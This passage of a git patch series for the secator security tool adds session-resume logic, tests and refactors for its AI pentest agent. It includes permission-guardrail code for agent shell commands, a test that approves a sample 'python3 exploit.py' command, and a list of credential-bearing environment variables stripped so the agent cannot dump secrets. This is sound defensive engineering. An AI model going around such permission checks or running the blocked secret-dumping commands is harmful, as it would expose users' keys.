fake_history.messages) + + +class TestSizeBackstopEndToEnd(unittest.TestCase): + """Task 6 Step 3: an oversized assistant `content` is capped by cap_message + before persist (mirrors ai.py:526's `message=cap_message(assistant_msg)`), + and the capped message still restores into a valid transcript -- proving + the persist-time backstop and the restore path compose correctly.""" + + def test_oversized_assistant_content_capped_and_restores_cleanly(self): + from secator.ai.history import cap_message, MAX_PERSISTED_MESSAGE_CHARS + from secator.ai.session import restore_history_from_db + + oversized = "y" * (MAX_PERSISTED_MESSAGE_CHARS * 3) + assistant_msg = {"role": "assistant", "content": oversized} + capped = cap_message(assistant_msg) + + # Backstop applied at persist time: capped, marker present, well under budget. + slack = 20 # room for the '…[capped]' marker itself + self.assertLessEqual(len(capped["content"]), MAX_PERSISTED_MESSAGE_CHARS + slack) + self.assertIn("[capped]", capped["content"]) + self.assertLess(len(capped["content"]), len(oversized)) + + docs = [ + {"_type": "ai", "ai_type": "prompt", "_timestamp": 1, + "message": {"role": "user", "content": "scan and summarize everything"}, + "_context": {"session_id": "SZ"}}, + {"_type": "ai", "ai_type": "response", "_timestamp": 2, + "message": capped, + "_context": {"session_id": "SZ"}}, + ] + + class FakeEngine: + def search(self, query, **kwargs): + return docs + + history = restore_history_from_db("SZ", FakeEngine(), model="gpt-4o") + + # Valid transcript: correct roles/order, restored verbatim (including cap). + self.assertEqual([m["role"] for m in history.messages], ["user", "assistant"]) + self.assertEqual(history.messages[-1]["content"], capped["content"]) + self.assertLessEqual(len(history.messages[-1]["content"]), MAX_PERSISTED_MESSAGE_CHARS + slack) + self.assertIn("[capped]", history.messages[-1]["content"]) + + class TestRemoteResumeBranch(unittest.TestCase): """Verify the yielder remote-resume branch picks Mongo restore vs fresh start.""" diff --git a/tests/unit/test_output_types.py b/tests/unit/test_output_types.py index 75bede663..6654ee908 100644 --- a/tests/unit/test_output_types.py +++ b/tests/unit/test_output_types.py @@ -130,3 +130,56 @@ def test_ai_message_defaults_empty(self): ai = Ai(content='x') assert ai.message == {} assert ai.toDict()['message'] == {} + + +class TestAiUnknownAiTypeRendersSafely(unittest.TestCase): + """Task 6 Step 4 (UI-safety guard): `tool_result` (and any other new/unknown + ai_type not in AI_TYPES) must not raise or produce garbage when rendered. + + Ai has no __rich__/__rich_console__ of its own (unlike most other output + types) -- __repr__ carries the full rendering logic directly, and it is + what `console.print(item)` actually invokes for a plain object with no + Rich protocol methods. AI_TYPES.get(self.ai_type, {...default...}) already + falls back gracefully for an unrecognized ai_type, so no production change + was needed here; this test locks that guarantee in so a future edit to + __repr__ can't silently regress it back to a KeyError/crash. + """ + + def test_tool_result_str_does_not_raise(self): + from secator.output_types.ai import Ai + ai = Ai(content="[run_task] 1 result(s)", ai_type="tool_result", + message={"role": "tool", "tool_call_id": "c1", "name": "run_task", "content": "80/open"}) + # Must not raise. + str(ai) + + def test_tool_result_repr_renders_compact_line_without_raising(self): + from secator.output_types.ai import Ai + ai = Ai(content="[run_task] 1 result(s)", ai_type="tool_result", + message={"role": "tool", "tool_call_id": "c1", "name": "run_task", "content": "80/open"}) + rendered = repr(ai) + # Falls back to the unrecognized-ai_type label, not a raw dict/garbage dump. + # (content is rich-markup-escaped, so brackets may be backslash-escaped.) + self.assertIn("TOOL_RESULT", rendered) + self.assertIn("run_task", rendered) + self.assertIn("result(s)", rendered) + + def test_tool_result_console_print_does_not_raise(self): + """Exercise the actual rendering path used by session.py's replay_session + (`console.print(item, highlight=False)`) end to end.""" + from io import StringIO + from rich.console import Console + from secator.output_types.ai import Ai + ai = Ai(content="[run_task] 1 result(s)", ai_type="tool_result", + message={"role": "tool", "tool_call_id": "c1", "name": "run_task", "content": "80/open"}) + buf = StringIO() + console = Console(file=buf, force_terminal=True, width=80) + console.print(ai, highlight=False) # must not raise + self.assertIn("TOOL_RESULT", buf.getvalue()) + + def test_arbitrary_unknown_ai_type_also_falls_back_safely(self): + """Not just `tool_result` -- ANY ai_type absent from AI_TYPES must be safe.""" + from secator.output_types.ai import Ai + ai = Ai(content="whatever", ai_type="some_future_type_nobody_registered_yet") + rendered = repr(ai) + self.assertIn("SOME_FUTURE_TYPE_NOBODY_REGISTERED_YET", rendered) + self.assertIn("whatever", rendered) From 3c750e7d6a7316ae81a0bc83e716a89871da780a Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 14:33:06 +0200 Subject: [PATCH 114/129] fix(ai): local resume of a legacy (pre-session_id) session falls back to replay MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Whole-branch review blocker (I1): resuming a PRE-UPGRADE local session restored an EMPTY transcript. Legacy report.json `ai` docs predate session_id stamping, so list_sessions returns session_id='' → no adoption → self.session_id stays a fresh str(self.id) → restore_history_from_db queries {_type:'ai','_context.session_id':} → the real JsonBackend applies that nested filter and EXCLUDES the legacy docs (session_id absent) before the text-only fallback can see them → history was system-prompt-only (silent empty resume). Fix: only take the unified restore_history_from_db path when the picked session has a session_id; otherwise fall back to replay_session (reads history.json directly, works for legacy sessions). Re-adds the replay_session import/use, so it is live again (resolves the earlier dead-code note). I2 (docstring only): soften restore_history_from_db's "byte-exact" claim — the synthetic loop nudges (continue/retry user prompts) are appended to live history but never persisted as docs, so restore omits them. Result is a faithful, valid litellm transcript continuation, not literally byte-identical. No logic change; the nudges are intentionally not persisted. Tests: add the I1 regression guard (legacy session_id=''/absent → replay used, restore NOT called; new-format session_id → restore used + id adopted). Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/session.py | 19 +++++++++----- secator/tasks/ai.py | 48 ++++++++++++++++++++-------------- tests/unit/test_ai_session.py | 49 +++++++++++++++++++++++++++++++++++ 3 files changed, 89 insertions(+), 27 deletions(-) diff --git a/secator/ai/session.py b/secator/ai/session.py index 03118697d..03067c5e1 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -198,13 +198,18 @@ def restore_history_from_db(session_id, query_engine, model=None, encryptor=None the conversation is rebuilt from the channel docs themselves (queried by ``session_id``, ordered by ``_timestamp``). - This is a **byte-exact** restore for docs carrying a raw litellm ``message`` - dict (persisted by Tasks 2-3 for every prompt/assistant/tool_result turn, - including tool_calls and tool_call_id pairing): the message is appended - verbatim, in ``_timestamp`` order, reproducing the exact transcript a live - run would have built. Persisted ``message.content`` is already encrypted - (the encryption happens at persist time, not at read time), so it is NOT - re-encrypted here — doing so would double-encrypt it. + This is a **faithful, valid litellm transcript continuation** for docs + carrying a raw litellm ``message`` dict (persisted by Tasks 2-3 for every + prompt/assistant/tool_result turn, including tool_calls and tool_call_id + pairing): each persisted message is appended verbatim, in ``_timestamp`` + order. Internal loop nudges (the synthetic "continue"/"retry" ``user`` + prompts the run appends to live history but never persists as docs) are not + restored and so are omitted here — the result is therefore NOT literally + byte-identical to the live in-memory history, but it stays a valid transcript + (a clean tool→assistant continuation the model can resume from). Persisted + ``message.content`` is already encrypted (the encryption happens at persist + time, not at read time), so it is NOT re-encrypted here — doing so would + double-encrypt it. Docs from before this feature shipped don't carry a ``message`` field at all (only the human-readable ``content`` used for the channel/report diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index e832e4570..c913de75b 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -24,7 +24,7 @@ load_prompt, get_system_prompt, get_mode_config, format_tool_result, format_continue, MODES ) from secator.ai.tools import build_tool_schemas, tool_call_to_action, coerce_stringified_args, TOOL_SCHEMAS -from secator.ai.session import save_history, show_session_picker, restore_history_from_db +from secator.ai.session import save_history, show_session_picker, replay_session, restore_history_from_db from secator.ai.utils import call_llm, init_llm, setup_ai, format_llm_status @@ -193,28 +193,36 @@ def yielder(self) -> Generator: if session is None: return self.session_name = session["name"] - # Adopt the prior conversation's session_id (instead of minting a fresh - # str(self.id)) so appended docs continue under it and a later resume - # can still find this run's turns via `_context.session_id`. + self._reports_folder = session['folder'] if session.get("session_id"): + # New-format session (has a stamped session_id): adopt the prior + # conversation's id (instead of minting a fresh str(self.id)) so + # appended docs continue under it and a later resume can still find + # this run's turns via `_context.session_id`, and rebuild via the + # unified restore over the local query engine. self.session_id = session["session_id"] self.context["session_id"] = self.session_id - self._reports_folder = session['folder'] - # restore_history_from_db seeds the system message from `system_prompt` - # (unlike the old replay_session, which loaded history.json verbatim, - # system prompt included). No new prompt exists yet at this point (it's - # asked interactively below), so seed the same "chat" default - # `_detect_mode()` falls back to when there's nothing to classify; the - # user's next answer re-detects the real mode via `_prompt_and_redetect` - # -> `_detect_mode(force=True)`, which overwrites the system message in - # history regardless (mirrors `_maybe_resume_remote`'s ordering: mode / - # system_prompt resolved before the restore call). - self.mode = self.mode or "chat" - self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) - self.tool_schemas = build_tool_schemas(self.mode, is_subagent=self.is_subagent, backend=self.backend) - self.history = restore_history_from_db( - self.session_id, self._get_query_engine(), - model=self.model, encryptor=self.encryptor, system_prompt=self.system_prompt) + # restore_history_from_db seeds the system message from `system_prompt`. + # No new prompt exists yet at this point (it's asked interactively + # below), so seed the same "chat" default `_detect_mode()` falls back + # to when there's nothing to classify; the user's next answer + # re-detects the real mode via `_prompt_and_redetect` -> + # `_detect_mode(force=True)`, which overwrites the system message in + # history regardless (mirrors `_maybe_resume_remote`'s ordering: + # mode / system_prompt resolved before the restore call). + self.mode = self.mode or "chat" + self.system_prompt = get_system_prompt(self.mode, workspace_path=str(self.reports_folder), backend=self.backend) + self.tool_schemas = build_tool_schemas(self.mode, is_subagent=self.is_subagent, backend=self.backend) + self.history = restore_history_from_db( + self.session_id, self._get_query_engine(), + model=self.model, encryptor=self.encryptor, system_prompt=self.system_prompt) + else: + # Legacy session (pre session_id-stamping): its `_type:"ai"` docs + # carry no `_context.session_id`, so the unified restore's nested + # session_id filter would exclude them and rebuild an empty history. + # Fall back to the local `history.json` replay, which reads the file + # directly and works for legacy sessions. + self.history = replay_session(session) if self.history is None: yield Error(message="Failed to restore session.") return diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py index 12f329800..503c331c6 100644 --- a/tests/unit/test_ai_session.py +++ b/tests/unit/test_ai_session.py @@ -791,6 +791,55 @@ def test_resume_adopts_prior_session_id_and_uses_unified_restore(self, mock_rest self.assertEqual(kwargs.get("model"), "gpt-4o") self.assertIs(task.history, mock_history) + @patch('secator.tasks.ai.show_session_picker') + @patch('secator.tasks.ai.replay_session') + @patch('secator.tasks.ai.restore_history_from_db') + def test_legacy_session_without_session_id_falls_back_to_replay(self, mock_restore, mock_replay, mock_picker): + """A picked LEGACY session (pre session_id-stamping: session_id absent/'') + must resume via replay_session (reads history.json directly), NOT the + unified restore -- whose nested `_context.session_id` filter would exclude + the legacy docs (they carry no session_id) and rebuild an EMPTY history.""" + prior_folder = tempfile.mkdtemp(prefix="secator-test-legacy-") + # session_id absent entirely (older list_sessions) — same as '' in behavior. + mock_picker.return_value = {"name": "legacy chat", "folder": prior_folder} + mock_history = MagicMock() + mock_replay.return_value = mock_history + + task, engine = self._make_task() + + with contextlib.ExitStack() as stack: + for p in self._patches(): + stack.enter_context(p) + list(task.yielder()) + + # Legacy path: replay_session used to rebuild history, unified restore NOT + # called (its session_id filter would exclude the legacy docs → empty). + mock_replay.assert_called_once_with(mock_picker.return_value) + mock_restore.assert_not_called() + self.assertIs(task.history, mock_history) + # No picked session_id, so context was NOT stamped with an adopted id — it + # keeps whatever _init_options locally resolved. + self.assertEqual(task.context.get("session_id"), task.session_id) + + @patch('secator.tasks.ai.show_session_picker') + @patch('secator.tasks.ai.replay_session') + @patch('secator.tasks.ai.restore_history_from_db') + def test_empty_string_session_id_also_falls_back_to_replay(self, mock_restore, mock_replay, mock_picker): + """An explicit empty-string session_id (what list_sessions returns for a + legacy session) is falsy too → same replay fallback.""" + prior_folder = tempfile.mkdtemp(prefix="secator-test-legacy2-") + mock_picker.return_value = {"name": "legacy chat", "folder": prior_folder, "session_id": ""} + mock_replay.return_value = MagicMock() + + task, engine = self._make_task() + with contextlib.ExitStack() as stack: + for p in self._patches(): + stack.enter_context(p) + list(task.yielder()) + + mock_replay.assert_called_once() + mock_restore.assert_not_called() + class TestListSessionsSurfacesSessionId(unittest.TestCase): """list_sessions() must surface each session's session_id (read from its From 19dd425424e3c56e352827eeba0c8faae737ec8a Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Mon, 6 Jul 2026 17:36:18 +0200 Subject: [PATCH 115/129] feat(ai): replay prior conversation to console on new-format local resume The unified restore_history_from_db only rebuilds in-memory history; the old replay_session also printed the prior session's findings + conversation to the console. Extract that console replay into print_session_results() (reused by replay_session, no behavior change) and call it on new-format local resume so the user still sees where they left off. Legacy resume already prints via replay_session. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/session.py | 67 ++++++++++++++++++++--------------- secator/tasks/ai.py | 7 +++- tests/unit/test_ai_session.py | 20 +++++++++++ 3 files changed, 64 insertions(+), 30 deletions(-) diff --git a/secator/ai/session.py b/secator/ai/session.py index 03067c5e1..3a29f9b7f 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -136,6 +136,42 @@ def show_session_picker(): return sessions[idx] +def print_session_results(session): + """Print a prior session's persisted results (findings + ai turns) to the + console in ``_timestamp`` order — the visible "here's where you left off" + replay shown on resume. Reads the session's ``report.json``; best-effort + (never raises), so a resume is never blocked by a display error. + + Args: + session: Session dict from show_session_picker (uses ``report_path``). + """ + from secator.output_types import OUTPUT_TYPES + + report_path = session.get('report_path') + if not report_path: + return + type_map = {cls.__name__.lower(): cls for cls in OUTPUT_TYPES} + try: + with open(report_path) as f: + data = json.load(f) + except (json.JSONDecodeError, OSError): + return + # Flatten all items with their type class, then print in timestamp order + all_items = [] + for type_name, items in data.get('results', {}).items(): + cls = type_map.get(type_name) + if not cls: + continue + for item_data in items: + all_items.append((item_data, cls)) + all_items.sort(key=lambda x: x[0].get('_timestamp', 0)) + for item_data, cls in all_items: + try: + console.print(cls.load(item_data), highlight=False) + except Exception: + continue + + def replay_session(session): """Replay all results from a previous session and restore history. @@ -146,36 +182,9 @@ def replay_session(session): ChatHistory: Restored history, or None on error. """ from secator.ai.history import ChatHistory - from secator.output_types import OUTPUT_TYPES - - # Build type map for loading items - type_map = {cls.__name__.lower(): cls for cls in OUTPUT_TYPES} - # Load and replay all results from report.json, sorted by timestamp - report_path = session.get('report_path') - if report_path: - try: - with open(report_path) as f: - data = json.load(f) - results = data.get('results', {}) - # Flatten all items with their type class - all_items = [] - for type_name, items in results.items(): - cls = type_map.get(type_name) - if not cls: - continue - for item_data in items: - all_items.append((item_data, cls)) - # Sort by _timestamp - all_items.sort(key=lambda x: x[0].get('_timestamp', 0)) - for item_data, cls in all_items: - try: - item = cls.load(item_data) - console.print(item, highlight=False) - except Exception: - continue - except (json.JSONDecodeError, OSError): - pass + # Show the prior conversation + findings on the console + print_session_results(session) # Load history history_path = session['history_path'] diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index c913de75b..c0f16cdc1 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -24,7 +24,8 @@ load_prompt, get_system_prompt, get_mode_config, format_tool_result, format_continue, MODES ) from secator.ai.tools import build_tool_schemas, tool_call_to_action, coerce_stringified_args, TOOL_SCHEMAS -from secator.ai.session import save_history, show_session_picker, replay_session, restore_history_from_db +from secator.ai.session import ( + save_history, show_session_picker, replay_session, restore_history_from_db, print_session_results) from secator.ai.utils import call_llm, init_llm, setup_ai, format_llm_status @@ -216,6 +217,10 @@ def yielder(self) -> Generator: self.history = restore_history_from_db( self.session_id, self._get_query_engine(), model=self.model, encryptor=self.encryptor, system_prompt=self.system_prompt) + # Show the prior conversation + findings on the console (the unified + # restore only rebuilds in-memory history; replay_session did this for + # the legacy path, so print it here to keep resume UX consistent). + print_session_results(session) else: # Legacy session (pre session_id-stamping): its `_type:"ai"` docs # carry no `_context.session_id`, so the unified restore's nested diff --git a/tests/unit/test_ai_session.py b/tests/unit/test_ai_session.py index 503c331c6..a1ff61ab0 100644 --- a/tests/unit/test_ai_session.py +++ b/tests/unit/test_ai_session.py @@ -791,6 +791,26 @@ def test_resume_adopts_prior_session_id_and_uses_unified_restore(self, mock_rest self.assertEqual(kwargs.get("model"), "gpt-4o") self.assertIs(task.history, mock_history) + @patch('secator.tasks.ai.print_session_results') + @patch('secator.tasks.ai.show_session_picker') + @patch('secator.tasks.ai.restore_history_from_db') + def test_new_format_resume_prints_prior_conversation(self, mock_restore, mock_picker, mock_print): + """New-format resume rebuilds history in-memory via the unified restore, which + (unlike the legacy replay_session) does NOT print anything — so the branch must + call print_session_results(session) to keep the prior conversation visible on + the console.""" + prior_folder = tempfile.mkdtemp(prefix="secator-test-print-") + mock_picker.return_value = {"name": "prior chat", "folder": prior_folder, "session_id": "PRIOR"} + mock_restore.return_value = MagicMock() + + task, engine = self._make_task() + with contextlib.ExitStack() as stack: + for p in self._patches(): + stack.enter_context(p) + list(task.yielder()) + + mock_print.assert_called_once_with(mock_picker.return_value) + @patch('secator.tasks.ai.show_session_picker') @patch('secator.tasks.ai.replay_session') @patch('secator.tasks.ai.restore_history_from_db') From 81c03941e88c1aae2a49d638add82936e4052d0c Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 7 Jul 2026 17:55:58 +0200 Subject: [PATCH 116/129] test(ai): align remote-permission-flow test with M12/H9 (allow_all persists, single allow is one-shot) Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- tests/unit/test_ai_loop.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/tests/unit/test_ai_loop.py b/tests/unit/test_ai_loop.py index c92ab42a5..ab313c8fd 100644 --- a/tests/unit/test_ai_loop.py +++ b/tests/unit/test_ai_loop.py @@ -477,14 +477,19 @@ def test_path_rule_added(self): self.assertEqual(check.decision, "allow") def test_full_remote_permission_flow(self): - """Full flow: RemoteBackend polls, gets 'allow', adds rules.""" + """Full flow: RemoteBackend polls, gets 'allow_all', persists a session rule. + + Per M12/H9 a single 'allow' is a one-shot that adds NO rule (next match + re-prompts); only 'allow_all' persists a session-scoped runtime allow. The + backend still maps both to {"answer": "allow"} for the caller. + """ mock_engine = MagicMock() - mock_engine.search.return_value = [{"answer": "allow"}] + mock_engine.search.return_value = [{"answer": "allow_all"}] engine = PermissionEngine(_make_permission_config(), targets=["10.0.0.1"], workspace="/tmp/ws") backend = RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) result = backend.ask_user( - "Allow shell: python3?", ["allow", "deny"], "sess1", + "Allow shell: python3?", ["allow", "allow_all", "deny"], "sess1", prompt_type="permission", permission_type="shell", value="python3 exploit.py", engine=engine ) From 0fe24d7192dd7df5a2f2df199777269b1469a48a Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 7 Jul 2026 18:06:13 +0200 Subject: [PATCH 117/129] test(ai): accept prompt_uuid kwarg in token-sum loop mock (loop signature evolved) Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- tests/unit/test_ai_tokens.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tests/unit/test_ai_tokens.py b/tests/unit/test_ai_tokens.py index 3c10c35f5..83f81cf4a 100644 --- a/tests/unit/test_ai_tokens.py +++ b/tests/unit/test_ai_tokens.py @@ -283,7 +283,7 @@ def test_loop_sums_token_usage(self): # add a user turn for the first two, then exit. prompt_calls = {"n": 0} - def fake_prompt(choices): + def fake_prompt(choices, **kwargs): # loop passes prompt_uuid= on the content-only path prompt_calls["n"] += 1 if prompt_calls["n"] >= 3: return None # exit From 2d5c8c9e6c8f4fe6810a248281bb05324af1ab54 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 7 Jul 2026 20:06:48 +0200 Subject: [PATCH 118/129] style(ai): fix flake8 lint in unified AI code (E301/E231/E131/E501/E127) Merged AI branches targeted canary/ai-resiliency so their code was never lint- gated against main; fix the 7 flake8 errors so 'secator test lint' (flake8 secator/) passes: restore blank line before _check_action_type, space after commas, blank-line/hanging-indent + noqa for tab-continuation long lines. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/actions.py | 4 ++-- secator/ai/guardrails.py | 3 ++- secator/tasks/ai.py | 8 +++++--- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 0cb9b54a8..06fe67205 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -150,7 +150,7 @@ def _build_child_hooks_or_denial(context: Dict) -> Tuple[Dict, Optional["Warning if parent_has_drivers and not hooks: return {}, Warning( message="Subagent spawn denied: parent has persistence drivers but child hook rebuild " - "was empty (would silently drop findings/docs)", + "was empty (would silently drop findings/docs)", # noqa: E131 _context=context, ) return hooks, None @@ -573,7 +573,7 @@ def _gather_subagent_evidence(ctx: "ActionContext", targets: list, limit: int = for r in results[:limit]: d = r.toDict() if hasattr(r, "toDict") else r t = d.get("_type", "finding") - key = d.get("url") or d.get("matched_at") or f"{d.get('ip','') or d.get('host','')}" + key = d.get("url") or d.get("matched_at") or f"{d.get('ip', '') or d.get('host', '')}" extra = f":{d.get('port')}" if d.get("port") else "" name = f" {d.get('name')}" if d.get("name") else "" lines.append(f"- {t} {key}{extra}{name}".rstrip()) diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index 9f20e1609..447570842 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -54,7 +54,7 @@ _WRAPPER_ARG_GRAMMAR = { "flock": (frozenset({"-w", "--timeout", "-E", "--conflict-exit-code"}), 1, frozenset({"-c", "--command"})), "runuser": (frozenset({"-u", "--user", "-g", "--group", "-G", "--supp-group", "-s", "--shell"}), 0, frozenset({"-c", "--command"})), # noqa: E501 - "su": (frozenset({"-s", "--shell", "-g", "--group", "-G", "--supp-group"}), 1, frozenset({"-c", "--command"})), + "su": (frozenset({"-s", "--shell", "-g", "--group", "-G", "--supp-group"}), 1, frozenset({"-c", "--command"})), # noqa: E501 "script": (_EMPTY, 0, frozenset({"-c", "--command"})), "proxychains": (frozenset({"-f"}), 0, _EMPTY), "proxychains4": (frozenset({"-f"}), 0, _EMPTY), @@ -925,6 +925,7 @@ def _has_rules_for(self, rule_type: str) -> bool: if rt == rule_type: return True return any(rt == rule_type for rt, _ in self.runtime_allow) + def _check_action_type(self, action_type: str, action: Dict) -> PermissionResult: """Check if the action type is allowed/denied/ask. diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 2fc5e8b8e..7943a1bd5 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -641,7 +641,7 @@ def _run_loop(self) -> Generator: # 429s so a persistent rate limit can't spin forever; let iteration advance. rate_limit_streak += 1 if rate_limit_streak >= 4: - yield Error(message="Rate limit exceeded on 4 consecutive attempts - aborting. Check your provider quota/billing.") + yield Error(message="Rate limit exceeded on 4 consecutive attempts - aborting. Check your provider quota/billing.") # noqa: E501 self._save_history() return yield Warning(message=f"Rate limit exceeded (attempt {rate_limit_streak}/4) - retrying in the next iteration") @@ -1341,6 +1341,8 @@ def _prompt_and_redetect(self, choices, prompt_uuid=None): # Token breakdown for prompt display by_role = self.history.count_tokens_by_role(self.model) extra_data = {"tokens": by_role["total"], "context_window": get_context_window(self.model), "by_role": by_role} - items.append(Ai(content=answer, ai_type="prompt", extra_data=extra_data, - message={"role": "user", "content": maybe_encrypt(answer, self.encryptor)})) + items.append(Ai( + content=answer, ai_type="prompt", extra_data=extra_data, + message={"role": "user", "content": maybe_encrypt(answer, self.encryptor)}, + )) return items From e2f2e166e8ba00dfefd60a92e9fe948d8481c24a Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Tue, 7 Jul 2026 22:54:28 +0200 Subject: [PATCH 119/129] =?UTF-8?q?refactor(ai):=20destructure=20actions.p?= =?UTF-8?q?y=20=E2=80=94=20constants=20to=20top,=20pure=20helpers=20to=20u?= =?UTF-8?q?tils,=20trim=20verbose=20comments?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Behavior-preserving cleanup of the bloated actions.py (1369->976 lines): - module constants moved to the top of the file - 13 self-contained pure helpers (_sanitized_env, _truncate, _is_heavy_runner, _sanitize_child_opts, build_subagent_prompt, _coerce_finding_fields, _decrypt_dict, etc.) extracted to secator/ai/utils.py; imports updated in actions.py + tasks/ai.py - 13 multi-line comment blocks collapsed to 1-3 lines (security/correctness notes kept) No logic change; 497 AI unit tests pass, flake8 secator/ clean. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/actions.py | 497 +++++------------------------------------- secator/ai/utils.py | 350 ++++++++++++++++++++++++++++- secator/tasks/ai.py | 4 +- 3 files changed, 403 insertions(+), 448 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 06fe67205..dbd66d286 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -1,6 +1,5 @@ """Action handlers for AI task.""" import json -import os import threading import uuid from concurrent.futures import ThreadPoolExecutor, as_completed @@ -12,6 +11,29 @@ from secator.output_types import Ai, Error, Info, Warning, OutputType, FINDING_TYPES from secator.template import TemplateLoader from secator.utils import format_token_count +from secator.ai.utils import ( + _sanitized_env, _build_action_display, _is_approved, _truncate, _format_action_error, + _is_heavy_runner, _sanitize_child_opts, build_subagent_prompt, _union_live_results, + _coerce_finding_fields, _get_action_label, _decrypt_dict, +) +from secator.ai.utils import _MAX_CHILD_ITERATIONS # noqa: F401 - re-exported for tests importing it from actions + + +# H4: bound recursive AI-subagent fan-out so injected output can't drive an +# exponential subagent/token blow-up. Depth caps recursion (child inherits +1 via +# context); breadth caps how many subagents one parent turn may spawn. +_MAX_SUBAGENT_DEPTH = 3 +_MAX_SUBAGENTS_PER_TURN = 5 +_SUBAGENT_TURN_LOCK = threading.Lock() + +# M1: cap shell stdout before it enters AI history so a huge command can't blow up +# the next prompt's token budget; head+tail keeps both the start and the result. +_MAX_SHELL_OUTPUT_CHARS = 4000 + +# Cap on ad-hoc AI shell commands (dispatched as the `command` task). Applied as an +# instance attribute post-construction (see _handle_shell) since max_timeout is not a +# run_opts-settable field. +_SHELL_TIMEOUT = 60 @dataclass @@ -58,26 +80,6 @@ def get_query_engine(self): return self._query_engine -SENSITIVE_ENV_PREFIXES = ( - "SECATOR_", - "ANTHROPIC_", "OPENAI_", "GOOGLE_", "AZURE_", "AWS_", "GCP_", - "GITHUB_TOKEN", "GITLAB_TOKEN", "SLACK_TOKEN", "DISCORD_TOKEN", - "SECRET_", "TOKEN_", "API_KEY", "PRIVATE_KEY", -) - - -def _sanitized_env() -> dict: - """Return a copy of os.environ with sensitive variables removed. - - Passed as the `env` run_opt to the AI shell `command` runner so an AI-run - `env`/`printenv` can't dump the LLM key + cloud creds into output that flows - back to the LLM and is persisted to Mongo. - """ - return {k: v for k, v in os.environ.items() - if not any(k.startswith(p) for p in SENSITIVE_ENV_PREFIXES) - and "KEY" not in k and "SECRET" not in k and "TOKEN" not in k and "PASSWORD" not in k} - - def _build_hooks_from_context(context: Dict) -> Dict: """Build the runner hooks dict from ``context['drivers']``. @@ -156,34 +158,6 @@ def _build_child_hooks_or_denial(context: Dict) -> Tuple[Dict, Optional["Warning return hooks, None -def _build_action_display(action: Dict) -> str: - """Build a display string for the action being checked. - - Returns a concise description of the command/task/workflow for prompt context. - """ - action_type = action.get("action", "") - if action_type == "shell": - return action.get("command", "") - elif action_type in ("task", "workflow"): - name = action.get("name", "") - targets = action.get("targets", []) - opts = action.get("opts", {}) - parts = [f"{action_type}: {name}"] - if targets: - parts.append(f"targets={targets}") - if opts: - parts.append(f"opts={opts}") - return " ".join(parts) - return "" - - -def _is_approved(response) -> bool: - # Explicit allow-list: only a normalized "allow" answer approves. None, "deny", - # or any unexpected token denies (fail closed) — so a new backend or a refactored - # answer vocabulary can't silently approve via a "not deny" gap. - return bool(response) and response.get("answer") == "allow" - - def check_guardrails_sync(action: Dict, ctx: ActionContext) -> Tuple[Optional[str], List]: """Non-generator wrapper for check_guardrails. @@ -239,11 +213,8 @@ def check_guardrails(action: Dict, ctx: ActionContext): is_remote = isinstance(ctx.backend, RemoteBackend) - # Prompt loop: each check_action returns the first "ask" it encounters - # (shell, then targets, then paths). We prompt for that layer, then re-check - # to surface the next layer, until everything is resolved. - # All prompting goes through ctx.backend.ask_user() — the backend handles - # the UX differences (CLI menu, DB polling, or auto-deny). + # Prompt loop: check_action returns the first unresolved "ask" layer (shell, then + # targets, then paths); prompt via ctx.backend.ask_user() and re-check until resolved. max_rounds = 5 rounds = 0 while result.decision == "ask" and rounds < max_rounds: @@ -360,43 +331,6 @@ def dispatch_action(action: Dict, ctx: ActionContext) -> Generator: yield Warning(message=f"Unknown action: {action_type}", _context=context) -def _truncate(text: str, max_chars: int) -> str: - """Cap ``text`` to ~``max_chars``, keeping head + tail so both the start and the - final lines survive, with a clear marker for the dropped middle. Short text is - returned unchanged (no marker).""" - if len(text) <= max_chars: - return text - dropped = len(text) - max_chars - half = max_chars // 2 - return f"{text[:half]}\n…(truncated {dropped} chars)…\n{text[-(max_chars - half):]}" - - -def _format_action_error(e: Exception, max_chars: int = 400) -> str: - """Build a concise, LLM-facing error string for a failed action dispatch. - - Combines the exception type + message with the last few 